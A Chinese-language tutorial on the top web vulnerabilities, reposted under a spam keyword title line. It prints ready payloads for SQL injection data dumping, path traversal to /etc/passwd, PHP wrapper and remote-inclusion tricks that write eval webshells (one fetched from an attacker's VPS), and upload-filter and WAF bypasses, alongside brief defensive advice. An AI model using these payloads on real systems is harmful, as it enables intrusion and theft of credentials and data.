狠狠色丁香婷婷综合尤物/久久精品综合一区二区三区/中国有色金属学报/国产日韩欧美在线观看 - 国产一区二区三区四区五区tv

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發(fā)文檔 其他文檔  
 
網(wǎng)站管理員

常見Web十大漏洞,常見Web漏洞

admin
2024年2月29日 17:42 本文熱度 757

目錄

一、SQL注入漏洞

分為以下五種注入方式:

查找SQL注入漏洞

Union注入 

布爾盲注 

報錯注入

時間盲注

時間型盲注的加速方式

二、任意文件下載

漏洞原理:

產(chǎn)生原因:

利用條件:

漏洞發(fā)現(xiàn):

漏洞利用方法:

漏洞防護:

三、敏感文件

四、文件包含

漏洞利用

PHP中的封裝協(xié)議(偽協(xié)議)

file://

php://

zip:// & bzip2:// & zlib://

data://

phar://

遠程文件包含(RFL)

漏洞利用

代碼審計

漏洞防護

五、文件上傳

漏洞原理

繞過

黑名單繞過:

白名單繞過:

黑白名單通用

基于WAF:

文件加載檢測(文件內(nèi)容檢測)

漏洞防護

六、命令執(zhí)行

漏洞原理

兩個條件

命令執(zhí)行漏洞帶來的危害

列子

漏洞防護

七、代碼執(zhí)行

PHP敏感函數(shù)代碼執(zhí)行

八、XML外部實體注入

XML基礎(chǔ)

惡意引入外部實體的三種方式

一、本地引入

二、遠程引入

三、遠程引入2

九、xss 漏洞

漏洞原理:

xss 分類:(三類)

十、CSRF & SSRF 

CSRF:

    SSRF:

一、SQL注入漏洞

Web應用程序?qū)τ脩魯?shù)據(jù)交互時候前端傳入后端處理沒做過濾處理,惡意代碼輸入后被拼接到SQL語句中執(zhí)行一部分,使數(shù)據(jù)庫回顯內(nèi)容。

分為字符型和數(shù)字型

分為以下五種注入方式:

布爾盲注:根據(jù)返回頁面判斷條件真假 
延時注入:用頁面返回時間是否增加判斷是否存在注入 
報錯注入:頁面會返回錯誤信息 
聯(lián)合查詢注入:可以使用union的情況下 
堆疊注入:可以同時執(zhí)行多條語句
       (mysql_multi_query() 支持多條sql語句同時執(zhí)行,就是個;分隔,成堆的執(zhí)行sql語句)

查找SQL注入漏洞

Union注入 

1、在參數(shù)后加單引號使其報錯,并用and 1=1和and 1=2測試報錯結(jié)果

?id=1' and 1=1 --+ 頁面返回正常

?id=1' and 1=2 --+頁面返回不正常

2、使用order by 或 group by猜字段

?id=1%27 order by 3--+         返回正常

?id=1%27 order by 4--+         返回正常

?id=1%27 order by 5--+         返回錯誤


證明字段總數(shù)為4

3、聯(lián)合查詢

?id=-1' union select 1,2,3,4 --+

看哪個字段顯示信息,利用它進一步注入出數(shù)據(jù)庫信息

修改id為一個不存在的id,強行報錯 因為代碼默認只返回第一條結(jié)果,

不會返回 union select 的結(jié)果

4、獲取數(shù)據(jù)庫信息

id=-1' union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) --+
或者
id=-1' union select 1,2,3,database() --+
id=-1' union select 1,2,3,version() --+ user()

獲取數(shù)據(jù)庫用戶名 database() 獲取數(shù)據(jù)庫名


version() 獲取數(shù)據(jù)庫版本信息

concat_ws(separator,str1,str2,...) 含有分隔符地連接字符串

里邊這的separator分隔符,用 char() 函數(shù)把 空格:空格 的ASCII碼輸出


--其它信息

@@datadir --數(shù)據(jù)庫路徑

@@version_compile_os --操作系統(tǒng)版本


5、獲取數(shù)據(jù)表信息

id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+


table_schema=數(shù)據(jù)庫名16進制或者用單引號括起來

6、獲取字段信息

id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='數(shù)據(jù)庫名' and table_name='表名' --+

7、脫庫 

union select 1,2,3,group_concat(name,password) from 表名 
用字段名從表中取數(shù)據(jù) 
group_concat(str1,str2,...) 連接一個組的所有字符串

布爾盲注 

頁面不返回查詢信息的數(shù)據(jù),只能通過頁面返回信息的真假條件判斷是否存在注入

1、在參數(shù)后加單引號使其報錯,并用and 1=1和and 1=2測試報錯結(jié)果

?id=1' and 1=1 --+ 頁面返回正常 
?id=1' and 1=2 --+ 頁面返回不正常

2、判斷數(shù)據(jù)庫名的長度

1'and length(database())>=1--+ 頁面返回正常 
1'and length(database())>=13--+ 頁面返回正常 
1'and length(database())>=14--+ 頁面返回錯誤 
由此判斷得到數(shù)據(jù)庫名的長度是13個字符

3、猜解數(shù)據(jù)庫名(建議寫python腳本)

字符判斷獲取數(shù)據(jù)庫名;
數(shù)據(jù)庫名的范圍一般在a~z、0~9之內(nèi),可能還會有特殊字符 "_"、"-" 等,這里的字母不區(qū)分大小寫。
' and substr(database(),1,1)='a'--+
' and substr(database(),2,1)='a'--+
substr 的用法和 limit 有區(qū)別,limit從 0 開始排序,這里從 1 開始排序。
用Burp爆破字母a的位置,即可得到數(shù)據(jù)庫名每個位置上的字符。
還可以用ASCII碼查詢
a 的ASCII碼是97,在MySQL中使用ord函數(shù)轉(zhuǎn)換ASCII,所以逐字符判斷語句可改為:
' and ord(substr(database(),1,1))=97--+
ASCII碼表中可顯示字符的范圍是:0~127

4、判斷數(shù)據(jù)庫表名

' and substr((select table_name from information_schema.tables where table_schema='數(shù)據(jù)庫名' limit 0,1),1,1)='a'--+
修改1,1前邊的1~20,逐字符猜解出第一個表的名
修改limit的0,1前邊的0~20,逐個猜解每個表

5、判斷數(shù)據(jù)庫字段名

' and substr((select column_name from information_schema.columns where table_schema='數(shù)據(jù)庫名' and table_name='表名' limit 0,1),1,1)='a'--+
修改1,1前邊的1~20,逐字符猜解出第一個字段的名
修改limit的0,1前邊的0~20,逐個猜解每個字段

報錯注入

頁面會返回錯誤信息,利用報錯函數(shù)獲取數(shù)據(jù)庫數(shù)據(jù)

xpath語法錯誤
extractvalue() 查詢節(jié)點內(nèi)容
updatexml() 修改查詢到的內(nèi)容
它們的第二個參數(shù)都要求是符合xpath語法的字符串
如果不滿足要求則會報錯,并且將查詢結(jié)果放在報錯信息里
這二者里面?zhèn)鲄⒌谝粋€是兩個第二個是三個,但都是改變xpath
主鍵重復(duplicate entry)
floor() --返回小于等于該值的最大整數(shù)
只要是count,rand(),group by 三個連用就會造成這種主鍵重復報錯

1、嘗試用單引號報錯

同上

2、獲取數(shù)據(jù)庫名

' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ 
0x7e是"~"符號的16進制,在這作為分隔符(喜歡哪個用哪個)

3、獲取表名

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='數(shù)據(jù)庫名' limit 0,1),0x7e),1)--+

4、獲取字段名

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='數(shù)據(jù)庫名' and table_name='表名' limit 0,1),0x7e),1)--+

5、脫庫

' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1)--+
其它函數(shù)payload語法:
--extractvalue
' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
--floor()
' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

時間盲注

服務器關(guān)閉了錯誤回顯,單純通過服務器返回內(nèi)容的變化來判斷是否存在SQL注入的方式 。

可以用benchmark,sleep等造成延時效果的函數(shù)。

如果benkchmark和sleep關(guān)鍵字被過濾了,可以讓兩個非常大的數(shù)據(jù)表做笛卡爾積 (opens new window)產(chǎn)生大量的計算從而產(chǎn)生時間延遲;

或者利用復雜的正則表達式去匹配一個超長字符串來產(chǎn)生時間延遲。

1、利用sleep判斷數(shù)據(jù)庫名長度

' and sleep(5) and 1=1--+ 頁面返回不正常,延時5秒 
' and sleep(5) and 1=2--+ 頁面返回不正常,不延時 
and if(length(database())>1,sleep(5),1) 
--if(條件表達式,真,假) --C語言的三目運算符類似

2、獲取數(shù)據(jù)庫名

and if(substr(database(),1,1)='a',sleep(5),1)--+

時間型盲注的加速方式

1、Windows平臺上的Mysql可以用DNSlog加速注入

2、利用二分查找法

sqlmap盲注默認采用的是二分查找法

二、任意文件下載

漏洞原理:

一般來說在文件下載或查看功能處,當文件名參數(shù)可控,且系統(tǒng)未對參數(shù)進行過濾或者過濾不嚴格時,就能夠?qū)崿F(xiàn)下載服務器上的任何文件,產(chǎn)生任意文件下載漏洞,惡意用戶就可利用路徑回溯符號(../)跳出程序本身的限制目錄實現(xiàn)下載任意文件。此漏洞的最終目的還是為了進一步獲取更多系統(tǒng)信息。

產(chǎn)生原因:

● 提供下載、查看的功能,并接收相關(guān)參數(shù)變量;
● 使用讀取文件的函數(shù);
● 未對相關(guān)參數(shù)做校驗或者控制不嚴格;
● 能輸出請求文件的內(nèi)容,提供給客戶端;

利用條件:

● 存在讀文件的函數(shù);
● 讀取文件的路徑是用戶可控的且未經(jīng)校驗或校驗不嚴格;
● 輸出或下載了文件內(nèi)容;

漏洞發(fā)現(xiàn):

  1. 存在下載功能的功能點;

  2. 可以使用Google hacking語法或者Web漏洞掃描器。

    Google search 
    inurl:readfile.php?file= 
    inurl:download.php?file=
  3. 鏈接存在以下關(guān)鍵字:

    download.php?path= 
    download.php?file= 
    download.php?filename= 
    down.php?file= 
    data.php?file= 
    readfile.php?file= 
    read.php?filename=
  4. 包含以下參數(shù)

    &RealPath=  
    &FilePath=  
    &filepath=  
    &Filepath=  
    &Path=  
    &path=  
    &inputFile=  
    &InputFile=  
    &url=  
    &urls= 
    &Lang=  
    &dis=  
    &data= 
    &Date= 
    &readfile=  
    &filep=  
    &src=  
    &menu=  
    META-INF  
    WEB-INF

漏洞利用方法:

任意文件下載漏洞,正常的利用手段是下載服務器文件,比如腳本代碼、服務器配置文件或者是系統(tǒng)配置文件等。但有時并不知道網(wǎng)站所處環(huán)境以及網(wǎng)站路徑,就可以使用../../../進行逐層猜測路徑,案例如下:

index.php?f=../../../../../../../../../etc/passwd 
index.php?f=../../../index.php 
index.php?f=file:///etc/passwd
readfile.php?file=/etc/passwd
readfile.php?file=../../../../../etc/passwd
readfile.php?file=../../../../../../../etc/passwd%00     // 00截斷
注:
當參數(shù)f的參數(shù)值為php⽂件時,若是⽂件被解析則是⽂件包含漏洞,
若顯⽰源碼或提⽰下載則是⽂件查看與下載漏洞。

漏洞防護:

(1)過濾".",使用戶在 url 中不能回溯上級目錄


(2)正則嚴格判斷用戶輸入?yún)?shù)的格式


(3)php.ini 配置 open_basedir 限定文件訪問范圍

三、敏感文件


/root/.bash_history               //用戶終端歷史命令記錄文件
/root/.mysql_history              //mysql歷史命令記錄文件
/proc/mounts                      //記錄系統(tǒng)掛載設(shè)備
/porc/config.gz                   //內(nèi)核配置文件
/var/lib/mlocate/mlocate.db       //全文件路徑
/porc/self/cmdline                //當前進程的cmdline參數(shù)
/usr/local/app/apache2/conf/httpd.conf    //apache2默認配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf   //虛擬網(wǎng)站設(shè)置
/usr/local/app/php5/lib/php.ini   //php相關(guān)設(shè)置
/etc/httpd/conf/httpd.conf        //apache配置文件
/etc/php5/apache2/php.ini         //ubuntu系統(tǒng)的默認路徑

Tomcat

apache-tomcat-8.5.51/conf/tomcat-users.xml    //tomcat的角色(授權(quán)用戶)配置文件
apache-tomcat-8.5.51/conf/server.xml          //tomcat的主配置文件
apache-tomcat-8.5.51/conf/web.xml             //tomcat應用程序的部署描述符文件
apache-tomcat-8.5.51/logs/catalina.out        //即tomcat的標準輸出和標準出錯,所有輸出到這兩個位置的都會進入catalina.out,這里包含tomcat運行自己輸出的日志以及應用里向console輸出的日志。

Web應用

PHP
獲取inc/config.php文件,獲得數(shù)據(jù)庫連接字符串中的口令信息;
ASP
獲取inc/conn.asp文件,獲得數(shù)據(jù)庫連接字符串口令,得到數(shù)據(jù)庫口令。若是ACCESS數(shù)據(jù)庫,可以得到數(shù)據(jù)庫路徑,再下載數(shù)據(jù)庫內(nèi)容;
ASPX
獲取網(wǎng)站根目錄web.config文件,獲得數(shù)據(jù)庫連接字符串中的口令信息;
獲取bin/*.dll文件,獲取網(wǎng)站源碼(不完整代碼),使用.NET reflector工具打開編譯后的dll文件;
JSP
獲取conf/tomcat-user.xml文件,獲得tongcat管理界面的口令信息,上傳war包GetShell;
獲取WEB-INF/Web.xml文件,獲得數(shù)據(jù)庫連接字符串中的口令信息。

四、文件包含

漏洞成因:

在通過引入文件時,引用的文件名,用戶可控,由于傳入的文件名沒有經(jīng)過合理的校驗,或者校驗被繞過,從而操作了預想之外的文件,就可能導致意外的文件泄露甚至惡意的代碼注入。

當被包含的文件在服務器本地時,就形成的本地文件包含漏洞。

漏洞利用

利用條件:

(1)include()、include_noce()、require()、require_once()等函數(shù)通過動態(tài)變量的方式引入包含文件;  
(2)用戶能夠控制該動態(tài)變量。

1、讀取敏感文件

?arg=/etc/passwd

2、利用封裝協(xié)議讀源碼

?arg=php://filter/read=convert.base64-encode/resource=config.php 
這樣能看到php文件的源碼

3、包含圖片Getshell

在上傳的圖片中寫入惡意代碼,然后用 LFI 包含調(diào)用,就會執(zhí)行圖片里的PHP代碼(圖片馬)

4、截斷包含

漏洞代碼:如:

?php
if(isset($_GET['arg']))
{
    include($_GET['arg'].".php"); 
}else{
    include(index.php);
 }
?>

這樣做一定程度上修復了漏洞, 上傳圖片一句話并訪問:http://vuln.com/index.php?arg=1.jpg會出錯。

因為包含文件里面不存在1.jpg.php這個文件。

但是如果輸入http://vuln.com/index.php?arg=1.jpg%00,就極有可能會繞過檢測。

這種方法只適用于php.inimagic_quotes_qpc=off并且PHP版本< 5.3.4的情況。

如果為on,%00會被轉(zhuǎn)義,以至于無法截斷。

5、包含Apache日志Getshell

條件:知道日志文件access.log的存放位置 ,默認位置:/var/log/httpd/access_log

access.log文件記錄了客戶端每次請求的相關(guān)信息; 當訪問一個不存在的資源時access.log文件仍然會記錄這條資源信息。

如果目標網(wǎng)站存在文件包含漏洞,但是沒有可以包含的文件時,

我們就可以嘗試訪問http://www.vuln.com/<?php phpinfo(); ?>

Apache會將這條信息記錄在access.log文件中,這時如果我們訪問access.log文件,就會觸發(fā)文件包含漏洞。

理論上是這樣的,但是實際上卻是輸入的代碼被轉(zhuǎn)義無法解析。

攻擊者可以通過burpsuite進行抓包在http請求包里面將轉(zhuǎn)義的代碼改為正常的測試代碼就可以繞過。

這時再查看Apache日志文件,顯示的就是正常的測試代碼。

這時訪問:http://www.vuln.com/index.php?arg=/var/log/httpd/access_log,即可成功執(zhí)行代碼

PHP中的封裝協(xié)議(偽協(xié)議)

以下協(xié)議未寫明條件的即是allow_url_fopen和allow_url_include狀態(tài)off/on都行。

file://

作用:

用于訪問本地文件系統(tǒng),在CTF中通常用來讀取本地文件,且不受allow_url_fopen與allow_url_include的影響。

include()/require()/include_once()/require_once()參數(shù)可控的情況下

如導入為非.php文件,則仍按照php語法進行解析,這是include()函數(shù)所決定的

示例:

1. file://[文件的絕對路徑和文件名]
http://127.0.0.1/include.php?file=file://C:\phpStudy\PHPTutorial\WWW\phpinfo.txt
2. file://[文件的相對路徑和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
3. file://[網(wǎng)絡(luò)路徑和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
php://

條件:

allow_url_fopen:off/on
allow_url_include : 部分需要on (下面列出)
php://input
php://stdin
php://memory 
php://temp

作用:

php:// 訪問各個輸入/輸出流(I/O streams),在CTF中經(jīng)常使用的是 php://filter 和 php://input

php://filter用于讀取源碼,php://input用于執(zhí)行php代碼

示例:

1. php://filter/read=convert.base64-encode/resource=[文件名]  //讀取文件源碼
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
2.php://input + [POST DATA]執(zhí)行php代碼
http://127.0.0.1/include.php?file=php://input
[POST DATA部分] <?php phpinfo(); ?>
3.若有寫入權(quán)限,[POST DATA部分] 寫入一句話木馬
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
zip:// & bzip2:// & zlib://

作用:

zip:// & bzip2:// & zlib:// 均屬于壓縮流,可以訪問壓縮文件中的子文件

更重要的是不需要指定后綴名,可修改為任意后綴:jpg png gif xxx 等等

示例:

 1.zip://[壓縮文件絕對路徑]%23[壓縮文件內(nèi)的子文件名](#編碼為%23)
 <!--壓縮 phpinfo.txt 為 phpinfo.zip ,壓縮包重命名為 phpinfo.jpg ,并上傳-->
 http://127.0.0.1/include.php?        file=zip://C:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
 2.compress.bzip2://file.bz2
 <!--壓縮 phpinfo.txt 為 phpinfo.bz2 并上傳(同樣支持任意后綴名)-->
 http://127.0.0.1/include.php?   file=compress.bzip2://C:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
 3.compress.zlib://file.gz 
 <!--壓縮 phpinfo.txt 為 phpinfo.gz-->
 http://127.0.0.1/include.php?  file=compress.zlib://C:\phpStudy\PHPTutorial\WWW\phpinfo.gz
data://

條件:

allow_url_fopen:on

allow_url_include :on

作用:

PHP>=5.2.0起,可以使用 data:// 數(shù)據(jù)流封裝器,以傳遞相應格式的數(shù)據(jù)。

通常可以用來執(zhí)行PHP代碼

示例:

1.data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
2.data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
phar://

phar://協(xié)議與zip://類似,同樣可以訪問zip格式壓縮包內(nèi)容

http://127.0.0.1/include.php?file=phar://C:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

利用條件 PHP > 5.3

要想使用Phar類里的方法,必須將phar.readonly配置項配置為0或Off

利用 phar 協(xié)議可以拓展 php 反序列化漏洞攻擊面

遠程文件包含(RFL)

服務器通過 PHP 的特性(函數(shù))去包含任意文件時,由于要包含的這個文件來源過濾不嚴格,

從而可以去包含一個惡意文件,攻擊者就可以遠程構(gòu)造一個特定的惡意文件達到攻擊目的。

漏洞利用

條件:php.ini中開啟allow_url_includeallow_url_fopen選項。

1、遠程包含Webshell

?arg=http://攻擊者的VPS/shell.txt 
#會在網(wǎng)站目錄生成名為 shell.php 的一句話木馬

shell.txt內(nèi)容為:

<?php
     fputs(fopen('./shell.php','w'),'<?php @eval($_POST[123]) ?>'); 
?>

代碼審計

文件包含用到的函數(shù)

include()	//使用此函數(shù),只有代碼執(zhí)行到此函數(shù)時才將文件包含進來,發(fā)生錯誤時只警告并繼續(xù)執(zhí)行。
inclue_once()	//功能和前者一樣,區(qū)別在于當重復調(diào)用同一文件時,程序只調(diào)用一次。
require()	//使用此函數(shù),只要程序執(zhí)行,立即調(diào)用此函數(shù)包含文件發(fā)生錯誤時,會輸出錯誤信息并立即終止程序。
require_once()	//功能和前者一樣,區(qū)別在于當重復調(diào)用同一文件時,程序只調(diào)用一次。

代碼審計的時候全局搜索以上函數(shù)

如果是基于圖像上傳的 ,要搜$_FILES 變量, 因為PHP處理上傳文件的功能,基本都與$_FILES有關(guān)。

查看目錄結(jié)構(gòu),重點關(guān)注includes、modules等文件夾,查看index.php等文件是否動態(tài)調(diào)用過這些內(nèi)容,變量是否可控。

漏洞防護

  1. 禁止遠程文件包含 allow_url_include=off

  2. 配置 open_basedir=指定目錄,限制訪問區(qū)域。

  3. 過濾../等特殊符號

  4. 修改Apache日志文件的存放地址

  5. 開啟魔術(shù)引號 magic_quotes_qpc=on

  6. 盡量不要使用動態(tài)變量調(diào)用文件,直接寫要包含的文件。

五、文件上傳

漏洞原理

用戶上傳了一個可執(zhí)行的腳本文件,并通過此腳本文件獲得了執(zhí)行服務器端命令的能力。沒有對后綴做一個嚴格過濾。

繞過

一句話前后加圖片數(shù)據(jù)混淆;直接把木馬改成.gif后綴上傳,BurpSuite攔包修改后綴名。

黑名單繞過:

找漏網(wǎng)之魚:cer、php3、php4

大小寫繞過:AsP、pHP

文件后綴復寫繞過:.phphpp

針對Windows系統(tǒng):

上傳不符合windows文件命名規(guī)則的文件名

test.php:1.jpg //會被windows系統(tǒng)自動去掉不符合規(guī)則符號后面的內(nèi)容
test.php::$DATA //會被windows系統(tǒng)自動去掉不符合規(guī)則符號后面的內(nèi)容

白名單繞過:

1)00截斷:
抓包修改文件名后綴為“php .jpg”,再將空格的十六進制改為00(系統(tǒng)在對文件名進行讀取時,如果遇到0x00,就會認為讀取已經(jīng)結(jié)束,系統(tǒng)按二進制或十六進制讀取文件,遇到ASCII碼為0的位置就停止,而這個ASCII為0的位置在十六進制中是00);
2).htaccess解析漏洞:
(只適用于Apache中allow override all、loadmodule rewrite_module/mod_rewrite.so #rewrite模塊為開啟狀態(tài)):先上傳.htaccess文件(AddType application/x-httpd-php .jpg),再上傳一個圖片馬文件(jpg),上傳的jpg文件都會以php文件格式解析。
3)Content-Type:
先上傳正常的圖片文件,查看Content-Type類型。上傳腳本文件(AddType aaplication/x-httpd-php .jpg  #將所有后綴為.jpg的文件作為php文件解析),將Content-Type類型改為查看到的類型(image/jpeg、imagepng、imagegif等)
4)Apache解析漏洞:
Apache從右向左解析,若不能夠解析最右的后綴,會遞歸向前解析,直到解析道能夠解析為止,否則會報錯。
5).user.ini:
適用于服務器使用CGI/FastCGI模式且目錄下要有可執(zhí)行的php文件,文件內(nèi)容“auto_prepend_file=a.jpg  # a.jpg中符合php語言的代碼會被執(zhí)行”。
6)文件頭檢測:
上傳圖片馬,再修改后綴為可解析腳本語言;或上傳一句話木馬,再將文件中添加正常格式文件頭(GIF89a等)。

黑白名單通用

如果可上傳修改 .htaccess 文件 (還能用于隱藏后門)

<FilesMatch "shell.jpg">
 SetHandler application/x-httpd-php
</FilesMatch>
//上傳shell.jpg文件,將解析為php運行

基于WAF:

常用的黑名單繞過放大也適用于部分的waf,更多的是需要配合使用。主要思路為接收文件名和waf的檢測有所差異,只要是服務器能接收并解析。

1)換行繞過
Content-Disposition:form-data;name="file";filename="1.php"
 
Content-Disposition:form-data;name="file";file
name="1.php"
 
Content-Disposition:form-data;name="file";filename=
"1.php"
 
2)多個等號繞過
Content-Disposition:form-data;name="file";filename=="1.php"
 
3)增加文件大小,類似于垃圾字符
Content-Disposition:form-data;
qqqqqqqq…qqqqqqqqqqq;name="file";filename="1.php"
 
4)去掉或替換引號繞過
Content-Disposition:form-data;name=file;filename=1.php
 
Content-Disposition:form-data;name='file';filename="1.php"
 
5)增加filename干擾攔截
Content-Disposition:form-data;name="file";filename= ;filename="1.php"
 
6)混淆waf匹配字段
a.混淆form-data
Content-Disposition:name="file";filename="1.php"     //去除form-data
 
Content-Disposition:qqqqq="qweqwe";name="file"; filename="1.php"  // 替換form-data為垃圾值
 
Content-Disposition: form-data   ; name="file"; filename="1.php"   // form-data后加空格
 
Content-Disposition: for+m-data; name="file"; filename="1.php"   // form-data中加+號
 
b.混淆ConTent-Disposition
COntEnT-DIsposiTiOn: form-data; name="file"; filename="1.php"    // 大小寫混淆
Content-Type: image/gif
Content-Disposition: form-data; name="file";  filename="1.php"
//調(diào)換Content-Type和ConTent-Disposition的順序
Content-Type: image/gif
Content-Disposition: form-data; name="file";  filename="1.php"
Content-Type: image/gif
//增加額外的頭
AAAAAAAA:filename="aaa.jpg";
Content-Disposition: form-data; name="file";  filename="1.php"
Content-Type: image/gif
//增加額外的頭
Content-Length: 666
Content-Disposition: form-data; name="file";  filename="1.php"
Content-Type: image/gif
//增加額外的頭
Content-Disposition: form-data; name="file_x";;; filename="test.php"
//多個分號,導致可能解析不到文件名
7)雙文件繞過:
例如安全狗總是以最后一個Content-Disposition中的值作為接收參數(shù)進行檢測,一些中間件例如IIS6.0總是以第一個Content-Disposition中的值作為接收參數(shù)。
 
8)容器與waf對Bounday要求規(guī)則不一致
Content-Type: multipart/form-data; boundary=—————————471114117352599
Content-Length: 253
—————————–471114117352599
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
—————————–471114117352599–
一些waf會認為兩段Boundary不一致的數(shù)據(jù)是無意義的,不進行檢測,而容器并沒有嚴格要求,正常接收數(shù)據(jù)。
 
9) 條件競爭
一些情況再上傳文件時,先上傳到臨時目錄,然后再檢測,檢測到再刪除。例如可以上傳生成一句話木馬的文件(fputs(fopen('shell.php','w'),'') ;
上傳同時瘋狂重復發(fā)包訪問此文件,就有可能會在文件被刪除之前生成webshell文件shell.php。

文件加載檢測(文件內(nèi)容檢測)

常見的是對圖像進行二次渲染,一般是調(diào)用PHP 的GD庫

一個繞過GD庫的Webshell生成器:

http://wiki.ioin.in/soft/detail/1q

https://github.com/RickGray/Bypass-PHP-GD-Process-To-RCE

漏洞防護

1、使用白名單限制可以上傳的文件擴展名 
2、注意0x00截斷攻擊(PHP更新到最新版本) 
3、對上傳后的文件統(tǒng)一隨機命名,不允許用戶控制擴展名 
4、上傳文件的存儲目錄禁用執(zhí)行權(quán)限

六、命令執(zhí)行

漏洞原理

命令執(zhí)行漏洞是指攻擊者可以隨意執(zhí)行系統(tǒng)命令,分為遠程代碼執(zhí)行和系統(tǒng)命令執(zhí)行兩類。

由于開發(fā)人員編寫源碼時,沒有針對代碼中可執(zhí)行的特殊函數(shù)入口做過濾,導致客戶端可以提交惡意構(gòu)造語句,并提交服務端執(zhí)行 命令注入攻擊中, Web服務器沒有過濾類似system、eval和exec等函數(shù),是該漏洞攻擊成功的主要原因。

程序應用有時需要調(diào)用一些執(zhí)行系統(tǒng)命令的函數(shù),如PHP:

system()		//執(zhí)行外部程序,并且顯示輸出
exec()			//執(zhí)行一個外部程序
shell_exec()	//通過 shell 環(huán)境執(zhí)行命令,并且將完整的輸出以字符串的方式返回
passthru()		//執(zhí)行外部程序并且顯示原始輸出
pcntl_exec()	//在當前進程空間執(zhí)行指定程序
popen()			//打開進程文件指針
proc_open()		//執(zhí)行一個命令,并且打開用來輸入/輸出的文件指針
反引號
令拼接到正常命令中,從而造成命令執(zhí)行攻擊。

詳細看:PHP中常見的命令執(zhí)行函數(shù)與代碼執(zhí)行函數(shù)_echo是命令執(zhí)行函數(shù)嗎_紅燒兔紙的博客-CSDN博客參考:https://blog.csdn.net/weixin_43376075/article/details/105189017https://blog.csdn.net/qq_43168364/article/details/105595532https://www.cnblogs.com/-qing-/p/10819069.html代碼執(zhí)行函數(shù):1- eval()#傳入的參數(shù)必須為PHP代碼,既需要以分號結(jié)尾。#命令執(zhí)行:cmd=system(whoami);#菜._echo是命令執(zhí)行函數(shù)嗎https://blog.csdn.net/weixin_39934520/article/details/109231480

兩個條件

  • 用戶能夠控制的函數(shù)輸入

  • 存在可以執(zhí)行代碼或者系統(tǒng)命令的危險函數(shù)

命令執(zhí)行漏洞帶來的危害

繼承Web服務程序的權(quán)限去執(zhí)行系統(tǒng)命令(任意代碼)或讀寫文件
反彈shell
控制整個網(wǎng)站甚至控制服務器
進一步內(nèi)網(wǎng)滲透
等

列子

<?php $test = $_GET['cmd']; system($test); ?>

payload:?cmd=whoami 這樣即可執(zhí)行系統(tǒng)命令

漏洞防護

1、盡量不要使用以上的代碼/命令執(zhí)行函數(shù)

2、使用disable_funtion()禁用以上函數(shù)

3、過濾所有能當作命令分隔符使用的字符

七、代碼執(zhí)行

(84條消息) PHP中常見的命令執(zhí)行函數(shù)與代碼執(zhí)行函數(shù)_echo是命令執(zhí)行函數(shù)嗎_紅燒兔紙的博客-CSDN博客https://blog.csdn.net/weixin_39934520/article/details/109231480

代碼執(zhí)行:可執(zhí)行腳本語言代碼

PHP敏感函數(shù)代碼執(zhí)行

eval()		//把字符串作為PHP代碼執(zhí)行
assert()	//檢查一個斷言是否為 FALSE,可用來執(zhí)行代碼
preg_replace()	//執(zhí)行一個正則表達式的搜索和替換
call_user_func()//把第一個參數(shù)作為回調(diào)函數(shù)調(diào)用
call_user_func_array()//調(diào)用回調(diào)函數(shù),并把一個數(shù)組參數(shù)作為回調(diào)函數(shù)的參數(shù)
array_map()		//為數(shù)組的每個元素應用回調(diào)函數(shù)

八、XML外部實體注入

當允許引用外部實體時,通過構(gòu)造惡意內(nèi)容,可導致讀取任意文件、執(zhí)行系統(tǒng)命令、探測內(nèi)網(wǎng)端口、攻擊內(nèi)網(wǎng)網(wǎng)站等危害

注意:執(zhí)行系統(tǒng)命令(安裝expect擴展的PHP環(huán)境里才有)


XML基礎(chǔ)

XML用于標記電子文件使其具有結(jié)構(gòu)性的標記語言,可以用來標記數(shù)據(jù)、定義數(shù)據(jù)類型.

是一種允許用戶對自己的標記語言進行定義的源語言。

XML文檔結(jié)構(gòu)包括XML聲明、DTD文檔類型定義、文檔元素。

<?xml version="1.0" ?> <!--XML聲明--> <!DOCTYPE note [ <!ELEMENT note (to,from,heading,bodys)> <!ELEMENT to (#PCDATA)> <!ELEMENT from  (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT bodys (#PCDATA)> ]><!--文檔類型定義--> <note>     <to>北京</to><from>石家莊</from>     <heading>wintrysec</heading><bodys>wintrysec.github.io</bodys> </note><!--文檔元素-->

DTD(文檔類型定義)的作用是定義xml文檔的合法構(gòu)建模塊。

DTD 可以在 XML 文檔內(nèi)聲明,也可以外部引用。

PCDATA 指的是被解析的字符數(shù)據(jù)(Parsed Character Data)

XML解析器通常會解析XML文檔中所有的文本

<message>此文本會被解析</message>

當某個XML元素被解析時,其標簽之間的文本也會被解析:

<name><first>Bill</first><last>Gates</last></name>
